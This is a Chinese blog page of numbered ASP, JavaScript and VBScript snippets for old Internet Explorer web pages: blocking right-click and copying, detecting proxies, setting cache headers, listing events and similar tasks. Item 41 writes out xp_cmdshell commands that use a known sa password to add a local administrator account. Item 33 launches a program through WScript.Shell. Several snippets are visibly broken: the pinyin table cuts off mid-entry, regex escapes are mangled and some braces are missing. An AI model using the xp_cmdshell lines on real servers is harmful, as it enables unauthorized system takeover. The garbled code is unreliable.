ASP实用代码


——————————————————

1.  οncοntextmenu="window.event.returnValue=false"           //将彻底屏蔽鼠标右键
 <table border οncοntextmenu=return(false)><td>no</table> //可用于Table

——————————————————

2.  <body onselectstart="return false">                      //取消选取、防止复制

——————————————————

3.  οnpaste="return false"                                   //不准粘贴

——————————————————

4.  οncοpy="return false;" oncut="return false;"             //防止复制

——————————————————

5.  <link rel="Shortcut Icon" href="favicon.ico">            //IE地址栏前换成自己的图标/不能用

——————————————————

6.  <link rel="Bookmark" href="favicon.ico">                 //可以在收藏夹中显示出你的图标/不能用

——————————————————

7.  <input style="ime-mode:disabled">                       //关闭输入法

——————————————————

8.  <script language="JavaScript">
<!--
 if(window == top)top.location.href = "frames.htm"; //frames.htm为框架网页
//-->
</script>                                                  //永远都会带着框架

——————————————————

9.  <SCRIPT LANGUAGE=JAVASCRIPT>
<!--
 if(top.location != self.location)top.location=self.location;
//-->
</SCRIPT>                                                 //防止被人frame

——————————————————

10. <noscript><iframe src=*.html></iframe></noscript>     //网页将不能被另存为

——————————————————

11. <input type=button value=查看网页源代码 οnclick="window.location = 'view-source:'+ location.href">

——————————————————

12. <%
 if Request.ServerVariables("HTTP_X_FORWARDED_FOR")<>"" then
  response.write "<font color=#FF0000>您通过了代理服务器,"& _
   "真实的IP为"&Request.ServerVariables("HTTP_X_FORWARDED_FOR")
 end if
 %>                                                   //怎样通过asp的手段来检查来访者是否用了代理

——————————————————

13. 取得控件的绝对位置

//Javascript
<script language="Javascript">
function getIE(e){
  var t=e.offsetTop;
  var l=e.offsetLeft;
  while(e=e.offsetParent){
    t+=e.offsetTop;
    l+=e.offsetLeft;
  }
  alert("top="+t+"/nleft="+l);
}
</script>

//VBScript
<script language="VBScript"><!--
function getIE()
  dim t,l,a,b
  set a=document.all.img1
  t=document.all.img1.offsetTop
  l=document.all.img1.offsetLeft
  while a.tagName<>"BODY"
    set a = a.offsetParent
    t=t+a.offsetTop
    l=l+a.offsetLeft
  wend
  msgbox "top="&t&chr(13)&"left="&l,64,"得到控件的位置"
end function
--></script>

——————————————————

14. 光标是停在文本框文字的最后
<script language="javascript">
function cc()
{
  var e = event.srcElement;
  var r =e.createTextRange();
  r.moveStart('character',e.value.length);
  r.collapse(true);
  r.select();
}
</script>
<input type=text name=text1 value="123" οnfοcus="cc()">

——————————————————

15. 判断上一页的来源

asp: request.servervariables("HTTP_REFERER")

javascript: document.referrer

——————————————————

16. 最小化、最大化、关闭窗口
<object id=hh1 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"> 
<param name="Command" value="Minimize"></object>
<object id=hh2 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"> 
<param name="Command" value="Maximize"></object>
<OBJECT id=hh3 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM NAME="Command" VALUE="Close"></OBJECT>

<input type=button value=最小化 οnclick=hh1.Click()>
<input type=button value=最大化 οnclick=hh2.Click()>
<input type=button value=关闭 οnclick=hh3.Click()>
本例适用于IE

——————————————————

17. 
<%
 '定义数据库连接的一些常量
Const adOpenForwardOnly     = 0 '游标只向前浏览记录,不支持分页、Recordset、BookMark
Const adOpenKeyset          = 1 '键集游标,其他用户对记录说做的修改将反映到记录集中,但其他用户增加或删除记录不会反映到记录集中。支持分页、Recordset、BookMark
Const adOpenDynamic         = 2 '动态游标功能最强,但耗资源也最多。用户对记录说做的修改,增加或删除记录都将反映到记录集中。支持全功能浏览(ACCESS不支持)。
Const adOpenStatic          = 3 '静态游标,只是数据的一个快照,用户对记录说做的修改,增加或删除记录都不会反映到记录集中。支持向前或向后移动

Const adLockReadOnly        = 1 '锁定类型,默认的,只读,不能作任何修改
Const adLockPessimistic     = 2 '当编辑时立即锁定记录,最安全的方式
Const adLockOptimistic      = 3 '只有在调用Update方法时才锁定记录集,而在此前的其他操作仍可对当前记录进行更改、插入和删除等
Const adLockBatchOptimistic = 4 '当编辑时记录不会被锁定,而更改、插入和删除是在批处理方式下完成的

Const adCmdText  = &H0001
Const adCmdTable = &H0002
%>

——————————————————

18. 网页不会被缓存
HTML网页
<META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate">
<META HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT">
或者<META HTTP-EQUIV="expires" CONTENT="0">
ASP网页
  Response.Expires = -1
  Response.ExpiresAbsolute = Now() - 1
  Response.cachecontrol = "no-cache"
PHP网页
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-cache, must-revalidate");
header("Pragma: no-cache");

——————————————————

19. 检查一段字符串是否全由数字组成
<script language="Javascript">
<!--
 function checkNum(str){
  return str.match(//D/)==null
 }
//-->
</script>

——————————————————

20. 获得一个窗口的大小
document.body.clientWidth,document.body.clientHeight

——————————————————

21. 怎么判断是否是字符
<script language="Javascript">
<!--
function checkNum(str){
 if (/[^/x00-/xff]/g.test(str)){
  alert("含有汉字");
 }else{
  alert("全是字符");
 }
}
//-->
</script>

——————————————————

22.TEXTAREA自适应文字行数的多少
<textarea rows=1 name=s1 cols=27 onpropertychange="this.style.posHeight=this.scrollHeight"></textarea>

——————————————————

23. 日期减去天数等于第二个日期
<script language=Javascript>
function cc(dd,dadd)
{
//可以加上错误处理
var a = new Date(dd)
a = a.valueOf()
a = a - dadd * 24 * 60 * 60 * 1000
a = new Date(a)
alert(a.getFullYear() + "年" + (a.getMonth() + 1) + "月" + a.getDate() + "日")
}
cc("12/23/2002",2)
</script>

——————————————————

24. 选择了哪一个Radio
<HTML><script language="vbscript">
function checkme()
  for each ob in radio1
    if ob.checked then window.alert ob.value
  next
end function
</script><BODY>
<INPUT name="radio1" type="radio" value="style" checked>Style
<INPUT name="radio1" type="radio" value="barcode">Barcode
<INPUT type="button" value="check" οnclick="checkme()">
</BODY></HTML>

——————————————————

25.获得本页url的request.servervariables("")集合
Response.Write "<TABLE border=1><!-- Table Header --><TR><TD><B>Variables</B></TD><TD><B>Value</B></TD></TR>"
for each ob in Request.ServerVariables
Response.Write "<TR><TD>"&ob&"</TD><TD>"&Request.ServerVariables(ob)&"</TD></TR>"
next
Response.Write "</TABLE>"

——————————————————

26.
本机ip<%=request.servervariables("remote_addr")%>
服务器名<%=Request.ServerVariables("SERVER_NAME")%>
服务器IP<%=Request.ServerVariables("LOCAL_ADDR")%>
服务器端口<%=Request.ServerVariables("SERVER_PORT")%>
服务器时间<%=now%>
IIS版本<%=Request.ServerVariables"SERVER_SOFTWARE")%>
脚本超时时间<%=Server.ScriptTimeout%>
本文件路径<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
服务器CPU数量<%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%>
服务器解译引擎<%=ScriptEngine & "/"& ScriptEngineMajorVersion &"."&ScriptEngineMinorVersion&"."& ScriptEngineBuildVersion %>
服务器操作系统<%=Request.ServerVariables("OS")%>

——————————————————

27.ENTER键可以让光标移到下一个输入框
<input οnkeydοwn="if(event.keyCode==13)event.keyCode=9">

——————————————————

28. 检测某个网站的链接速度:
把如下代码加入<body>区域中:
<script language=Javascript>
tim=1
setInterval("tim++",100)
b=1

var autourl=new Array()
autourl[1]="www.njcatv.net"
autourl[2]="javacool.3322.net"
autourl[3]="www.sina.com.cn"
autourl[4]="www.nuaa.edu.cn"
autourl[5]="www.cctv.com"

function butt(){
document.write("<form name=autof>")
for(var i=1;i<autourl.length;i++)
document.write("<input type=text name=txt"+i+" size=10 value=测试中……> =》<input type=text name=url"+i+" size=40> =》<input type=button value=GO οnclick=window.open(this.form.url"+i+".value)><br>")
document.write("<input type=submit value=刷新></form>")
}
butt()
function auto(url){
document.forms[0]["url"+b].value=url
if(tim>200)
{document.forms[0]["txt"+b].value="链接超时"}
else
{document.forms[0]["txt"+b].value="时间"+tim/10+"秒"}
b++
}
function run(){for(var i=1;i<autourl.length;i++)document.write("<img src=http://"+autourl[i]+"/"+Math.random()+" width=1 height=1 οnerrοr=auto('http://"+autourl[i]+"')>")}
run()</script>

——————————————————

29. 各种样式的光标
auto          :标准光标
default       :标准箭头
hand          :手形光标
wait          :等待光标
text          :I形光标
vertical-text :水平I形光标
no-drop       :不可拖动光标
not-allowed   :无效光标
help          :?帮助光标
all-scroll    :三角方向标
move          :移动标
crosshair     :十字标
e-resize
n-resize
nw-resize
w-resize
s-resize
se-resize
sw-resize

——————————————————

30. 在输入框中可以确定哪些字符采用屏蔽
第一步,在<body>与</body>之间加入
<form onSubmit="return false;">
<font class=font>
1.这个文本框内不能输入特殊字符,如!@#$%^&*等:</font><br>
<textarea class=textarea1 rows=2 cols=80 name=comments onKeypress="if ((event.keyCode > 32 && event.keyCode < 48) || (event.keyCode > 57 && event.keyCode < 65) || (event.keyCode > 90 && event.keyCode < 97)) event.returnValue = false;">
2.这个文本框不能输入单引号或双引号:</font><br>
<input class=textarea1 size=80 type=text name=txtEmail onKeypress="if (event.keyCode==34 || event.keyCode==39) event.returnValue = false;">
3.这个文本框只能输入数字:</font><br>
<input class=textarea1 size=80 type=text name=txtPostalCode onKeypress="if (event.keyCode < 45 || event.keyCode > 57) event.returnValue = false;">

——————————————————

31. 鼠标双击自动滚屏
<Script Language="JavaScript"> 
var currentpos, timer; 
function initialize(){ 
timer = setInterval("scrollwindow()", 1); 

function sc(){ 
clearInterval(timer); 

function scrollwindow(){ 
currentpos = document.body.scrollTop; 
window.scroll(0, ++currentpos); 
if(currentpos != document.body.scrollTop){ 
sc(); 


document.onmousedown = sc; 
document.ondblclick = initialize; 
</Script>

——————————————————

32.自动滚屏
第一步,在<head>与</head>之间加入
<script>
<!--
locate = 0;
function scroller()
{if (locate !=400 )
{locate++;scroll(0,locate);
clearTimeout(timer);
var timer = setTimeout("scroller()",3);timer;}
}
-->
</script>
第二步,在<body>中加入
οnlοad="scroller()"

——————————————————

33.打开网页后即在后台打开记事本
<script language="Vbscript">
 set wshshell=CreateObject("Wscript.shell")
 dim x
 x=0     '表示不打开
 x=1 '表示打开,并置最前面
 x=2 '表示打开,并不置最前面
 wshshell.run "Notepad.exe",x
</script>

——————————————————

34.可编辑网页
<DIV ID="oDiv">
 <table width="100%" border="1" cellspacing="1" cellpadding="1">
  <tr>
      <td>aaaaaaaaaaa</td>
      <td>bbbbbbbbbb</td>
    </tr>
 </table>
</DIV>
<SCRIPT>
 oDiv.contentEditable = true;
 alert(oDiv.table.width);
</SCRIPT>

——————————————————

35.len(),left(),right()不能正常识别中文的解决方法
Function Strlength(Str)
 Temp_Str=Len(Str)
 For I=1 To Temp_Str
  Test_Str=(Mid(Str,I,1))
  If Asc(Test_Str)>0 Then
   Strlength=Strlength+1
  Else
   Strlength=Strlength+2
  End If
 Next
End Function

Function Strleft(Str,L)
 Temp_Str=Len(Str)
 For I=1 To Temp_Str
  Test_Str=(Mid(Str,I,1))
  Strleft=Strleft&Test_Str
  If Asc(Test_Str)>0 Then
   lens=lens+1
  Else
   lens=lens+2
  End If
  If lens>=L Then Exit For
 Next
End Function

Function Strright(Str,L)
 Temp_Str=Len(Str)
 For i = Temp_Str to 1 step -1
  Test_Str=(Mid(Str,I,1))
  Strright=Test_Str&Strright
  If Asc(Test_Str)>0 Then
   lens=lens+1
  Else
   lens=lens+2
  End If
  If lens>=L Then Exit For
 Next
End Function

——————————————————

36.将汉字转换成汉语拼音的一段代码
Set d = CreateObject("Scripting.Dictionary")
d.add "a",-20319
d.add "ai",-20317
d.add "an",-20304
d.add "ang",-20295
d.add "ao",-20292
d.add "ba",-20283
d.add "bai",-20265
d.add "ban",-20257
d.add "bang",-20242
d.add "bao",-20230
d.add "bei",-20051
d.add "ben",-20036
d.add "beng",-20032
d.add "bi",-20026
d.add "bian",-20002
d.add "biao",-19990
d.add "bie",-19986
d.add "bin",-19982
d.add "bing",-19976
d.add "bo",-19805
d.add "bu",-19784
d.add "ca",-19775
d.add "cai",-19774
d.add "can",-19763
d.add "cang",-19756
d.add "cao",-19751
d.add "ce",-19746
d.add "ceng",-19741
d.add "cha",-19739
d.add "chai",-19728
d.add "chan",-19725
d.add "chang",-19715
d.add "chao",-19540
d.add "che",-19531
d.add "chen",-19525
d.add "cheng",-19515
d.add "chi",-19500
d.add "chong",-19484
d.add "chou",-19479
d.add "chu",-19467
d.add "chuai",-19289
d.add "chuan",-19288
d.add "chuang",-19281
d.add "chui",-19275
d.add "chun",-19270
d.add "chuo",-19263
d.add "ci",-19261
d.add "cong",-19249
d.add "cou",-19243
d.add "cu",-19242
d.add "cuan",-19238
d.add "cui",-19235
d.add "cun",-19227
d.add "cuo",-19224
d.add "da",-19218
d.add "dai",-19212
d.add "dan",-19038
d.add "dang",-19023
d.add "dao",-19018
d.add "de",-19006
d.add "deng",-19003
d.add "di",-18996
d.add "dian",-18977
d.add "diao",-18961
d.add "die",-18952
d.add "ding",-18783
d.add "diu",-18774
d.add "dong",-18773
d.add "dou",-18763
d.add "du",-18756
d.add "duan",-18741
d.add "dui",-18735
d.add "dun",-18731
d.add "duo",-18722
d.add "e",-18710
d.add "en",-18697
d.add "er",-18696
d.add "fa",-18526
d.add "fan",-18518
d.add "fang",-18501
d.add "fei",-18490
d.add "fen",-18478
d.add "feng",-18463
d.add "fo",-18448
d.add "fou",-18447
d.add "fu",-18446
d.add "ga",-18239
d.add "gai",-18237
d.add "gan",-18231
d.add "gang",-18220
d.add "gao",-18211
d.add "ge",-18201
d.add "gei",-18184
d.add "gen",-18183
d.add "geng",-18181
d.add "gong",-18012
d.add "gou",-17997
d.add "gu",-17988
d.add "gua",-17970
d.add "guai",-17964
d.add "guan",-17961
d.add "guang",-17950
d.add "gui",-17947
d.add "gun",-17931
d.add "guo",-17928
d.add "ha",-17922
d.add "hai",-17759
d.add "han",-17752
d.add "hang",-17733
d.add "hao",-17730
d.add "he",-17721
d.add "hei",-17703
d.add "hen",-17701
d.add "heng",-17697
d.add "hong",-17692
d.add "hou",-17683
d.add "hu",-17676
d.add "hua",-17496
d.add "huai",-17487
d.add "huan",-17482
d.add "huang",-17468
d.add "hui",-17454
d.add "hun",-17433
d.add "huo",-17427
d.add "ji",-17417
d.add "jia",-17202
d.add "jian",-17185
d.add "jiang",-16983
d.add "jiao",-16970
d.add "jie",-16942
d.add "jin",-16915
d.add "jing",-16733
d.add "jiong",-16708
d.add "jiu",-16706
d.add "ju",-16689
d.add "juan",-16664
d.add "jue",-16657
d.add "jun",-16647
d.add "ka",-16474
d.add "kai",-16470
d.add "kan",-16465
d.add "kang",-16459
d.add "kao",-16452
d.add "ke",-16448
d.add "ken",-16433
d.add "keng",-16429
d.add "kong",-16427
d.add "kou",-16423
d.add "ku",-16419
d.add "kua",-16412
d.add "kuai",-16407
d.add "kuan",-16403
d.add "kuang",-16401
d.add "kui",-16393
d.add "kun",-16220
d.add "kuo",-16216
d.add "la",-16212
d.add "lai",-16205
d.add "lan",-16202
d.add "lang",-16187
d.add "lao",-16180
d.add "le",-16171
d.add "lei",-16169
d.add "leng",-16158
d.add "li",-16155
d.add "lia",-15959
d.add "lian",-15958
d.add "liang",-15944
d.add "liao",-15933
d.add "lie",-15920
d.add "lin",-15915
d.add "ling",-15903
d.add "liu",-15889
d.add "long",-15878
d.add "lou",-15707
d.add "lu",-15701
d.add "lv",-15681
d.add "luan",-15667
d.add "lue",-15661
d.add "lun",-15659
d.add "luo",-15652
d.add "ma",-15640
d.add "mai",-15631
d.add "man",-15625
d.add "mang",-15454
d.add "mao",-15448
d.add "me",-15436
d.add "mei",-15435
d.add "men",-15419
d.add "meng",-15416
d.add "mi",-15408
d.add "mian",-15394
d.add "miao",-15385
d.add "mie",-15377
d.add "min",-15375
d.add "ming",-15369
d.add "miu",-15363
d.add "mo",-15362
d.add "mou",-15183
d.add "mu",-15180
d.add "na",-15165
d.add "nai",-15158
d.add "nan",-15153
d.add "nang",-15150
d.add "nao",-15149
d.add "ne",-15144
d.add "nei",-15143
d.add "nen",-15141
d.add "neng",-15140
d.add "ni",-15139
d.add "nian",-15128
d.add "niang",-15121
d.add "niao",-15119
d.add "nie",-15117
d.add "nin",-15110
d.add "ning",-15109
d.add "niu",-14941
d.add "nong",-14937
d.add "nu",-14933
d.add "nv",-14930
d.add "nuan",-14929
d.add "nue",-14928
d.add "nuo",-14926
d.add "o",-14922
d.add "ou",-14921
d.add "pa",-14914
d.add "pai",-14908
d.add "pan",-14902
d.add "pang",-14894
d.add "pao",-14889
d.add "pei",-14882
d.add "pen",-14873
d.add "peng",-14871
d.add "pi",-14857
d.add "pian",-14678
d.add "piao",-14674
d.add "pie",-14670
d.add "pin",-14668
d.add "ping",-14663
d.add "po",-14654
d.add "pu",-14645
d.add "qi",-14630
d.add "qia",-14594
d.add "qian",-14429
d.add "qiang",-14407
d.add "qiao",-14399
d.add "qie",-14384
d.add "qin",-14379
d.add "qing",-14368
d.add "qiong",-14355
d.add "qiu",-14353
d.add "qu",-14345
d.add "quan",-14170
d.add "que",-14159
d.add "qun",-14151
d.add "ran",-14149
d.add "rang",-14145
d.add "rao",-14140
d.add "re",-14137
d.add "ren",-14135
d.add "reng",-14125
d.add "ri",-14123
d.add "rong",-14122
d.add "rou",-14112
d.add "ru",-14109
d.add "ruan",-14099
d.add "rui",-1
dim str
str="你"
for each item in d
 'response.write Cstr(d(item))&Cstr(asc(str))
 if Cstr(d(item))=Cstr(asc(str)) then
  response.write item
 end if
next

——————————————————

37.求最大公约数和最小公倍数
<%
cala=Request.form("cala")
if cala="y" then
 a=Request.form("mynuma")
 b=Request.form("mynumb")
 if a<b then
  t=a
  a=b
  b=t
 end if
 aa=a
 bb=b
 Do
  temp=aa mod bb
  aa=bb
  bb=temp
 Loop while (bb<>0)
 Response.Write a & "和" & b & "的整大公约数是:" & aa & ";&nbsp;&nbsp;它们的最小公倍数是:" & a*b/aa & "<br>"
end if
%>

——————————————————

38. javascript的keycode键值(键盘事件)

a  97    u   117     _   45
b  98    v   118     =   61
c  99    w   119     /   124
d  100   x   120     `   96
e  101   y   121     ~   126
f  102   z   122     !   33
g  103   0   48      @   64
h  104   1   49      #   35
i  105   2   50      $   36
j  106   3   51      %   37
k  107   4   52      ^   94
l  108   5   53      &   38
m  109   6   54      *   42
n  110   7   55      (   40
o  111   8   56      )   41
p  112   9   57      _   95
q  113  ESC  27      +   43
r  114  BLANK  32
s  115               
t  116  ENTER 13

待列全。

例如:window.event.keyCode=??

String.fromCharCode(window.event.keyCode) //把Unicode转为字符串

——————————————————
39.javascript事件列表

一般事件
onclick   鼠标点击时触发此事件
ondblclick   鼠标双击时触发此事件
onmousedown   按下鼠标时触发此事件
onmouseup   鼠标按下后松开鼠标时触发此事件
onmouseover   当鼠标移动到某对象范围的上方时触发此事件
onmousemove   鼠标移动时触发此事件
onmouseout   当鼠标离开某对象范围时触发此事件
onkeypress   当键盘上的某个键被按下并且释放时触发此事件.
onkeydown   当键盘上某个按键被按下时触发此事件
onkeyup   当键盘上某个按键被按放开时触发此事件

页面相关事件
onabort   图片在下载时被用户中断
onbeforeunload   当前页面的内容将要被改变时触发此事件
onerror   出现错误时触发此事件
onload   页面内容完成时触发此事件
onmove   浏览器的窗口被移动时触发此事件
onresize   当浏览器的窗口大小被改变时触发此事件
onscroll   浏览器的滚动条位置发生变化时触发此事件
onstop   浏览器的停止按钮被按下时触发此事件或者正在下载的文件被中断
onunload   当前页面将被改变时触发此事件

表单相关事件
onblur   当前元素失去焦点时触发此事件
onchange   当前元素失去焦点并且元素的内容发生改变而触发此事件
onfocus   当某个元素获得焦点时触发此事件
onreset   当表单中RESET的属性被激发时触发此事件
onsubmit   一个表单被递交时触发此事件

滚动字幕事件
onbounce   在Marquee内的内容移动至Marquee显示范围之外时触发此事件
onfinish   当Marquee元素完成需要显示的内容后触发此事件
onstart   当Marquee元素开始显示内容时触发此事件

编辑事件
onbeforecopy   当页面当前的被选择内容将要复制到浏览者系统的剪贴板前触发此事件
onbeforecut   当页面中的一部分或者全部的内容将被移离当前页面[剪贴]并移动到浏览者的系统剪贴板时触发此事件
onbeforeeditfocus   当前元素将要进入编辑状态
onbeforepaste   内容将要从浏览者的系统剪贴板传送[粘贴]到页面中时触发此事件
onbeforeupdate   当浏览者粘贴系统剪贴板中的内容时通知目标对象
oncontextmenu   当浏览者按下鼠标右键出现菜单时或者通过键盘的按键触发页面菜单时触发的事件
oncopy   当页面当前的被选择内容被复制后触发此事件
oncut   当页面当前的被选择内容被剪切时触发此事件
ondrag   当某个对象被拖动时触发此事件 [活动事件]
ondragdrop   一个外部对象被鼠标拖进当前窗口或者帧
ondragend   当鼠标拖动结束时触发此事件,即鼠标的按钮被释放了
ondragenter   当对象被鼠标拖动的对象进入其容器范围内时触发此事件
ondragleave   当对象被鼠标拖动的对象离开其容器范围内时触发此事件
ondragover   当某被拖动的对象在另一对象容器范围内拖动时触发此事件
ondragstart   当某对象将被拖动时触发此事件
ondrop   在一个拖动过程中,释放鼠标键时触发此事件
onlosecapture   当元素失去鼠标移动所形成的选择焦点时触发此事件
onpaste   当内容被粘贴时触发此事件
onselect    当文本内容被选择时的事件
onselectstart   当文本内容选择将开始发生时触发的事件

数据绑定
onafterupdate   当数据完成由数据源到对象的传送时触发此事件
oncellchange   当数据来源发生变化时
ondataavailable   当数据接收完成时触发事件
ondatasetchanged   数据在数据源发生变化时触发的事件
ondatasetcomplete   当来子数据源的全部有效数据读取完毕时触发此事件
onerrorupdate   当使用onBeforeUpdate事件触发取消了数据传送时,代替onAfterUpdate事件
onrowenter   当前数据源的数据发生变化并且有新的有效数据时触发的事件
onrowexit   当前数据源的数据将要发生变化时触发的事件
onrowsdelete   当前数据记录将被删除时触发此事件
onrowsinserted   当前数据源将要插入新数据记录时触发此事件

外部事件
onafterprint   当文档被打印后触发此事件
onbeforeprint   当文档即将打印时触发此事件
onfilterchange   当某个对象的滤镜效果发生变化时触发的事件
onhelp   当浏览者按下F1或者浏览器的帮助选择时触发此事件
onpropertychange   当对象的属性之一发生变化时触发此事件
onreadystatechange   当对象的初始化属性值发生变化时触发此事件

——————————————————

40. JavaScript窗口功能指南之操纵窗口

//移动窗口的屏幕位置到指定的偏移x、y(绝对移动)
  window.moveTo(iX, iY)

//移动窗口的屏幕位置到指定的偏移x、y(相对移动)
  window.moveBy(iX, iY)

//滚动窗口的屏幕位置到指定的偏移x、y(绝对滚动)
  window.scrollTo(iX, iY)

//滚动窗口的屏幕位置到指定的偏移x、y(相对滚动)
  window.scrollBy(iX, iY)

//改变窗口大小到指定的高度与宽度(绝对改变大小)
  window.resizeTo(iWidth, iHeight)

//改变窗口大小到指定的高度与宽度(相对改变大小)
  window.resizeBy(iX, iY)

//窗口大小
document.body.clientWidth
document.body.clientHeight

//滚动条坐标
document.body.scrollLeft
document.body.scrollTop

//鼠标坐标
event.clientX
event.clientY

//窗口对象
body.offsetWidth 宽度
body.offsetHeight 高度

——————————————————
41.sql弊端
知道sa密码,可以调用xp_cmdshell进行系统破解
exec master..xp_cmdshell 'net user admin 12345678 /add'
exec master..xp_cmdshell 'net localgroup administrators admin /add'

——————————————————

42.radio用法
<script language="javascript">
function SetOrder(){
 var Order;
 var rb;
 for(i=0;i<document.gtpage.Order.length;i++){
  rb=document.gtpage.Order[i];
  if(rb.checked){
   Order=document.gtpage.Order[i].value;
  }
 }
}
</script>

——————————————————

43.window.external的使用
简介:window.external.AddFavorite这个把网站添加到浏览者收藏夹的脚本大家应该常常看过,但你还知道window.external的另外一些用法呢?由于是一些关于系统文件操作的命令,因为安全设置有些脚本会出错误.

1.external.AddDesktopComponent 把网站作为用户的Active桌面
语法:external.AddDesktopComponent(地址,类型[image/website],左距离,顶距离,宽度,长度)
function j_adc(){
 window.external.AddDesktopComponent("http://...","website",0,0,800,600);
}

2.external.AddFavorite 把网站加入到用户的收藏夹
语法:external.AddFavorite(网址,标题);
function j_af(){
 window.external.AddFavorite(location.href, document.title);
}

3.external.NavigateAndFind 搜索指定网站中的某个字段
语法:external.NavigateAndFind(文件地址,关键字,_Target)
<script language="JavaScript">
function j_an(){
window.external.NavigateAndFind("http://...",gosearch.value,"");
}
</script>

4.external.ShowBrowserUI 调用语言选择窗口与收藏夹管理窗口
语法:external.ShowBrowserUI(类型[LanguageDialog/OrganizeFavorites], null)
<input type="button" name="Button" value="语言设置" οnclick="window.external.ShowBrowserUI('LanguageDialog', null)">
<input type="button" name="Submit2" value="整理收藏夹" οnclick="window.external.ShowBrowserUI('OrganizeFavorites', null)">

5.external.ImportExportFavorites 导入与导出用户收藏夹
语法:external.ImportExportFavorites(导入/true 导出/false, 文件路径)
<input type="button" name="Button" value="导入收藏夹" onClick=window.external.ImportExportFavorites(true,"http://...");>
<input type="button" name="Button3" value="导出收藏夹" onClick=window.external.ImportExportFavorites(false,"http://...");>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值